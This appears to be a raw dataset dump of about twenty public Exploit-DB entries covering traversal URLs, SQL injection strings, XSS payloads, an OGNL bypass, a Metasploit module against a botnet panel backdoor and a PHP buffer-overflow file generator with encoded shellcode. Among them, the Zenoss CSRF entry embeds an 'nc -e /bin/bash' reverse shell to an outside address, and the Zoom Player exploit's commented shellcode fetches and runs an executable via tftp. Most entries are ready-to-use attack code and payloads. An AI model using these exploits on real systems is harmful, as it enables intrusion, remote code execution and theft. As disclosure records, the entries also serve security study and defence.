deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9718
Description: Xerver HTTP Server 4.32 - Cross-Site Scripting / Directory Traversal
Type: remote
Platform: multiple
Date: 2009-09-18
Author: Stack

Exploit:
Xerver HTTP Server v4.32 XSS / Directory Traversal Vulnerability


By Stack


Directory Traversal Exploit :

http://127.0.0.1:32123/action=chooseDirectory&currentPath=d:%5C

http://127.0.0.1:32123/action=chooseDirectory&currentPath=c:\




XSS Exploit :


http://127.0.0.1:32123/action=chooseDirectory&currentPath='">><script>alert('XSS By Stack')</script>

# milw0rm.com [2009-09-18]
Exploit-DB #25133
Description: xinkaa Web station 1.0.3 - Directory Traversal
Type: remote
Platform: multiple
Date: 2005-02-21
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12606/info

A vulnerability has been identified in the handling of certain types of requests by Xinkaa WEB Station. Because of this, it is possible for an attacker to gain access to potentially sensitive system files.

Read privileges granted to these files would be restricted by the permissions of the web server process.

http://www.example.com/../../../file
http://www.example.com/..\..\..\file
Exploit-DB #32877
Description: Xlight FTP Server 3.2 - 'user' SQL Injection
Type: remote
Platform: multiple
Date: 2009-03-19
Author: fla

Exploit:
source: https://www.securityfocus.com/bid/34288/info

Xlight FTP Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to Xlight FTP Server 3.2.1 are affected.

The following example input is available:

User: ' OR '1'='1' ;#
Exploit-DB #24979
Description: XLReader 0.9 - Remote Client-Side Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-16
Author: Kris Kubicki

Exploit:
source: https://www.securityfocus.com/bid/11970/info

A remote, client-side buffer overflow vulnerability affects xlreader. This issue is due to a failure of the application to properly validate the length of user-supplied strings prior to copying them into static process buffers.

An attacker may exploit this issue to execute arbitrary code with the privileges of the user that activated the vulnerable application. This may facilitate unauthorized access or privilege escalation. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24979.zip
Exploit-DB #36016
Description: Xpdf 3.02-13 - 'zxpdf' Security Bypass
Type: remote
Platform: multiple
Date: 2011-08-04
Author: Chung-chieh Shan

Exploit:
source: https://www.securityfocus.com/bid/49007/info

Xpdf is prone to a security-bypass vulnerability that may allow attackers to perform actions without proper authorization.

Attackers can exploit this issue to bypass security restrictions and perform unauthorized actions; this may aid in launching further attacks. 

$ touch y # The unrelated victim file
$ gzip -c </dev/null >'" y ".pdf.gz' # Create a .pdf.gz file
$ xpdf '" y ".pdf.gz' # View it using xpdf
Error: May not be a PDF file (continuing anyway)
Error: PDF file is damaged - attempting to reconstruct xref table...
Error: Couldn't find trailer dictionary
Error: Couldn't read xref table
rm: cannot remove `/tmp/': Is a directory
$ ls -l y # The victim file is gone!
ls: cannot access y: No such file or directory
Exploit-DB #32564
Description: XWork < 2.0.11.2 - 'ParameterInterceptor' Class OGNL Security Bypass
Type: remote
Platform: multiple
Date: 2008-11-04
Author: Meder Kydyraliev

Exploit:
source: https://www.securityfocus.com/bid/32101/info

XWork is prone to a security-bypass vulnerability because it fails to adequately handle user-supplied input.

Attackers can exploit this issue to manipulate server-side context objects with the privileges of the user running the application. Successful exploits can compromise the application and possibly the underlying computer.

Versions prior to XWork 2.0.6 are vulnerable. Struts 2.0.0 through 2.0.11.2 contain vulnerable versions of XWorks and are therefore also affected. 

To set #session.user to '0wn3d':

('\u0023' + 'session[\'user\']')(unused)=0wn3d
Exploit-DB #24980
Description: Yanf 0.4 - HTTP Response Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-15
Author: Ariel Berkman

Exploit:
source: https://www.securityfocus.com/bid/11975/info

Yanf is prone to a buffer overflow vulnerability. This issue is exposed when the client reads data from a remote HTTP server.

If this issue is successfully exploited, it could allow for execution of arbitrary code in the context of the user running the client. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24980.zip
Exploit-DB #38402
Description: Zemra Botnet (C2 Web Panel) - Remote Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2015-10-05
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Zemra Botnet CnC Web Panel Remote Code Execution',
      'Description'    => %q{
        This module exploits the CnC web panel of Zemra Botnet which contains a backdoor
        inside its leaked source code. Zemra is a crimeware bot that can be used to
        conduct DDoS attacks and is detected by Symantec as Backdoor.Zemra.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jay Turla <@shipcod3>', #Metasploit Module
          'Angel Injection', #Initial Discovery (PoC from Inj3ct0r Team)
          'Darren Martyn <@info_dox>' #Initial Discovery
        ],
      'References'     =>
        [
          ['URL', 'http://0day.today/exploit/19259'],
          ['URL', 'http://insecurety.net/?p=144'], #leaked source code and backdoor intro
          ['URL', 'http://www.symantec.com/connect/blogs/ddos-attacks-zemra-bot']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 10000,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'Platform'       => %w{ unix win },
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['zemra panel / Unix', { 'Platform' => 'unix' } ],
          ['zemra panel / Windows', { 'Platform' => 'win' } ]
        ],
      'DisclosureDate' => 'Jun 28 2012',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI',[true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]),
      ],self.class)
  end

  def check
    txt = Rex::Text.rand_text_alpha(8)
    http_send_command(txt)
    if res && res.body =~ /cmd/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def http_send_command(cmd)
    uri = normalize_uri(target_uri.path.to_s)
    res = send_request_cgi({
      'method'  => 'GET',
      'uri'             => uri,
      'vars_get'        =>
        {
          'cmd' => cmd
        }
    })
    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Failed to execute the command.')
    end
    res
  end

  def exploit
    http_send_command(payload.encoded)
  end
end
Exploit-DB #33536
Description: Zenoss 2.3.3 - Multiple Cross-Site Request Forgery Vulnerabilities
Type: remote
Platform: multiple
Date: 2010-01-18
Author: Adam Baldwin

Exploit:
source: https://www.securityfocus.com/bid/37843/info

Zenoss is prone to multiple cross-site request-forgery vulnerabilities.

Exploiting these issues may allow a remote attacker to perform certain administrative actions, execute arbitrary commands, gain unauthorized access to the affected application, or delete certain data. Other attacks are also possible.

Zenoss 2.3.3 is vulnerable; prior versions are also vulnerable. 


http://www.example.com/zport/dmd/ZenUsers/admin?defaultAdminLevel:int=1&defaultAdminRole=ZenUser&defaultPageSize:int=40&email=&eventConsoleRefresh: boolean=True&manage_editUserSettings:method=Save&netMapStartObject=&pager=& [CREDENTIAL_REDACTED]=letmein&zenScreenName=editUserSettings

http://www.example.com/zport/dmd/userCommands/ping?command:text=nc -e /bin/bash 172.16.28.6 443&commandId=ping&description:text=& manage_editUserCommand:method=Save&zenScreenName=userCommandDetail

http://www.example.com/zport/dmd/Devices/devices/localhost/manage_doUserCommand?commandId=ping
Exploit-DB #30933
Description: Zoom Player 3.30/5/6 - '.ZPL' Error Message Arbitrary Code Execution
Type: remote
Platform: multiple
Date: 2007-12-24
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27007/info

Zoom Player is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application or to crash the application, denying further service to legitimate users.

This issue affects Zoom Player 6.00 beta 2 and all releases contained in the Zoom Player 5 branch.

<?php
/*
  Zoom Player Pro v.3.30 .m3u file buffer overflow exploit (seh)
  by Nine:Situations:Group::surfista

  seems the same of http://secunia.com/advisories/28214/
  bug found by Luigi Auriemma
  no full working exploit out, so I made my test version
/*
/*
//original shellcode, 27 bytes + command
//re-encode with
//alpha2 --unicode ecx <sh.txt
$scode =
"\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53".
"\xbb\x0d\x25\x86\x7c". //WinExec, kernel32.dll XP SP3
"\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff".
"cmd /c tftp -i 192.168.0.1 GET s s.exe && s && ".
"\xff";
*/

$_scode="IAIAIAIAIAIAIAIAIAIAIAIAIAIA4444jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1".
        "AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBhkMC1Kn".
        "QWPnpNQGP3XPCPJaCEkJmo5TFsLYoHSNQUpiXgxyoKOKOosPmOtKpNOQSKp1d36rTp".
        "pkpNMpimPNQp9nRlnnQP6lxNNlplnP1MPPGQ524O0RSO02SnN35rXPeKpLfKvKp43kpkvmVMPkOA";

$buff="\x23\x45\x58\x54\x4d\x33\x55\x0d\x0a\x68\x74\x74\x70\x3a\x2f\x2f".
      "\x77\x77\x77".
       str_repeat("\x61",0xfe8).
       /* unicode preamble, alignment */
       "\x6e".                      //add byte ptr [esi],ch, nop equivalent [*]
       "\xd3\x45".                  //0x004500d3  unicode friendly pop - pop - ret, zplayer.exe
       "\x6e".                      //*
       "\x05\x7f\x4c".              //add eax,4c007f00h
       "\x6e".                      //*
       "\x2d\x59\x4c".              //sub eax,4c005900h
       "\x6e".                      //*
       "\x50".                      //push eax
       "\x6e".                      //*
       "\x59".                      //pop ecx
       str_repeat("\x6e\x90",0x7f). //nop
       "\x6e".                      //*
       "\x6a".                      //push 0, nop equivalent
       $_scode.
       str_repeat("\x90",0xbb8);
$_fp=@fopen("pwn.m3u","w+");
if (!$_fp) { die("[:(] Failed to create file...");}
fputs($_fp,$buff);
fclose($_fp);
print("[:)] Done!");
?>
Exploit-DB #31757
Description: ZyWALL 100 HTTP Referer Header - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2008-05-08
Author: Deniz Cevik

Exploit:
source: https://www.securityfocus.com/bid/29110/info

ZyWALL 100 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

GET /blah.htm HTTP/1.1
Host: www.site.com
Referer: blaaaa"><script>alert(12345)</script>aaaah.htm
Exploit-DB #34111
Description: (GREEZLE) Global Real Estate Agent Login - Multiple SQL Injections
Type: webapps
Platform: multiple
Date: 2010-06-09
Author: L0rd CrusAd3r

Exploit:
source: https://www.securityfocus.com/bid/40676/info

GREEZLE - Global Real Estate Agent Site is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example data are available:

user: a' or '1'='1
password: a' or '1'='1
Exploit-DB #33760
Description: (Multiple Products) - 'banner.swf' Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-03-15
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/38732/info

Multiple products are prone to a cross-site scripting vulnerability because the applications fail to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The following products are affected:

phpAdsNew
OpenAds
OpenX 

http://www.example.com/path/banner.swf?clickTAG=javascript:alert('XSS')
Exploit-DB #43378
Description: Ability Mail Server 3.3.2 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2017-12-20
Author: Aloyce J. Makalanga

Exploit:
# Exploit Title: Ability Mail Server 3.3.2 Persistent Cross Site Scripting (XSS)
# CVE: CVE-2017-17752
# Date: 19-12-2017
# Software Link: http://download.codecrafters.com/ams3.exe 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.codecrafters.com 
# Category: webapps
# Attack Type: Remote
# Impact: Data/Cookie theft 

 
1. Description


   Ability Mail Server 3.3.2 has Persistent Cross Site Scripting (XSS) via the body of an e-mail message, with JavaScript code executed on the Read Mail screen (aka the /_readmail URI). To exploit the vulnerability, the victim must open an email with malicious Javascript inserted into the body of the email.


   
2. Proof of Concept

 

#!/usr/bin/env python 
email_addr = 'hacker@evil.local'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email +='<script>alert(1)</script>'
s = smtplib.SMTP('<Attacker IP address', 25)
s.login(email_addr, "password")
s.sendmail(email_addr, email_addr, email)
s.quit()

3. Solution:

   
Update to version 4.2.4
http://download.codecrafters.com/ams.exe
Exploit-DB #49298
Description: Academy-LMS 4.3 - Stored XSS
Type: webapps
Platform: multiple
Date: 2020-12-21
Author: Vinicius Alves

Exploit:
# Exploit Title: Academy-LMS 4.3 - Stored XSS
# Date: 19/12/2020
# Vendor page: https://academy-lms.com/
# Version: 4.3
# Tested on Win10 and Google Chrome
# Exploit Author: Vinicius Alves

# XSS Payload: </script><svg onload=alert();>

1) Access LMS and log in to admin panel
2) Access courses page
3) Open course manager and SEO menu
4) Paste the XSS Payload tag and Submit
5) Access the course page on frontend
6) Trigged!
Exploit-DB #49980
Description: Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-06-11
Author: Abdulazeez Alaseeri

Exploit:
# Exploit Title: Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)
# Exploit Author: Abdulazeez Alaseeri
# Software Link: https://www.accela.com/civic-platform/
# Version: <= 21.1
# Tested on: JBoss server/windows
# Type: Web App
# Date: 06/07/2021
# CVE: CVE-2021-33904


================================================================
Accela Civic Platform Cross-Site-Scripting <= 21.1
================================================================


================================================================
Request Heeaders start
================================================================

GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9 HTTP/1.1

Host: Hidden for security reasons

Cookie: JSESSIONID=FBjC0Zfg-H87ecWmTMDEcNo8HID1gB6rwBt5QC4Y.civpnode; LASTEST_REQUEST_TIME=[PII_REDACTED]73; g_current_language_ext=en_US; hostSignOn=true; BIGipServerAccela_Automation_av.web_pool_PROD=[PII_REDACTED].47873.0000; LATEST_SESSION_ID=lVkV3izKpk9ig1g_nqSktJ3YKjSbfwwdPj0YBFDO; LATEST_WEB_SERVER=1.1.1.1; LATEST_LB=[PII_REDACTED].47873.0000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Te: trailers

Connection: close

================================================================
Request Heeaders end
================================================================



================================================================
Response Heeaders start
================================================================
HTTP/1.1 200 OK

Expires: Wed, 31 Dec 1969 23:59:59 GMT

Cache-Control: no-cache

X-Powered-By: JSP/2.3

Set-Cookie: LASTEST_REQUEST_TIME=[PII_REDACTED]73; path=/; domain=.Hidden for security reasons; secure

Set-Cookie: g_current_language_ext=en_US; path=/; domain=.Hidden for security reasons; secure

Set-Cookie: hostSignOn=true; path=/; domain=.Hidden for security reasons; secure

X-XSS-Protection: 0

Pragma: No-cache

Date: Sun, 06 Jun 2021 18:34:38 GMT

Connection: close

Content-Type: text/html;charset=UTF-8

Content-Length: 13222
================================================================
Response Heeaders end
================================================================


You can notice that the parameter "servProvCode" is vulnerable to XSS.
Payload: k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9
Exploit-DB #49990
Description: Accela Civic Platform 21.1 - 'successURL' Cross-Site-Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2021-06-14
Author: Abdulazeez Alaseeri

Exploit:
# Exploit Title: Accela Civic Platform 21.1 - 'successURL' Cross-Site-Scripting (XSS)
# Software Link: https://www.accela.com/civic-platform/
# Version: <= 21.1
# Author: Abdulazeez Alaseeri
# Tested on: JBoss server/windows
# Type: Web App
# Date: 07/06/2021
# CVE-2021-34370



================================================================
Accela Civic Platform Cross-Site-Scripting and Open Redirect <= 21.1
================================================================


================================================================
Request Heeaders start
================================================================

GET /ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=%27^alert`1`^%27 HTTP/1.1

Host: Hidden

Cookie: JSESSIONID=bjmCs2TMr3RzVGT28iJafk0vRpZcd2uO0QVlR7K9.civpnode; BIGipServerAccela_Automation_av.web_pool_PROD=[PII_REDACTED].47873.0000; LASTEST_REQUEST_TIME=[PII_REDACTED]26; LATEST_LB=[PII_REDACTED].47873.0000; LATEST_SESSION_ID=xWGsssz3eS1biQdST9lnfkxyMMUp2q3HLR75bGaX; LATEST_WEB_SERVER=10.198.24.82; UUID=35e180c4-bde4-48e3-876f-0f32c6e85d5c; JSESSIONID=***************************; g_current_language_ext=en_US; hostSignOn=true

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Te: trailers

Connection: close

================================================================
Request Heeaders end
================================================================



================================================================
Response Heeaders start
================================================================
HTTP/1.1 200 OK

Connection: close

Set-Cookie: JSESSIONID=8qVANwRg4mQWxQ6vAuZOxtv7OEhEMbEXJdc2CzTY.civpnode; path=/ssoAdapter

X-XSS-Protection: 0

Content-Type: text/html;charset=ISO-8859-1

Content-Length: 73

Date: Tue, 08 Jun 2021 10:41:59 GMT



<script type='text/javascript'>document.location=''^alert`1`^''</script>

================================================================
Response Heeaders end
================================================================

Payload: %27^alert`1`^%27

for open redirect, replace the payload to a valid website.
Exploit-DB #51221
Description: Active eCommerce CMS 6.5.0 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2023-04-03
Author: Sajibe Kanti

Exploit:
# Exploit Title: Active eCommerce CMS 6.5.0 - Stored Cross-Site Scripting (XSS)
# Date: 19/01/2023
# Exploit Author: Sajibe Kanti
# Vendor Name: ActiveITzone
# Vendor Homepage: https://activeitzone.com/
# Software Link: https://codecanyon.net/item/active-ecommerce-cms/23471405
# Version: 6.5.0
# Tested on: Live ( Centos & Litespeed Web Server)
# Demo Link : https://demo.activeitzone.com/ecommerce/

# Description #

The Active eCommerce CMS 6.5.0 application has a vulnerability in the
profile picture upload feature that allows for stored cross-site scripting
(XSS) attacks. Specifically, the vulnerability lies in the handling of
"svg" image files, which can contain malicious code. An attacker can
exploit this vulnerability by uploading a specially crafted "svg" image
file as a profile picture, which will then be executed by the application
when the user views the profile. This can allow the attacker to steal
sensitive information, such as login credentials, or to perform other
malicious actions on the user's behalf. This vulnerability highlights the
importance of proper input validation and image file handling in web
application development.

# Exploit Details #

# Vulnerable Path : /aiz-uploader/upload
# Parameter: files (POST)
# Vector: <svg version="1.1" baseProfile="full" xmlns="
http://www.w3.org/2000/svg">
   <rect width="300" height="100"
style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("haha XSS");
   </script>
</svg>

# Proof of Concept (PoC) : Exploit #

1) Goto:  https://localhost
2) Click Registration
3) Login Your Account
4) Go Manage Profile
5) Now Upload Given Vector as anyname.svg (you must put vector code in
anyname.svg file)
6) After Upload Clic to view Your profile picture
7) XSS Popup Will Fired

# Image PoC : Reference Image #

1) Payload Fired: https://prnt.sc/cW0F_BtpyMcv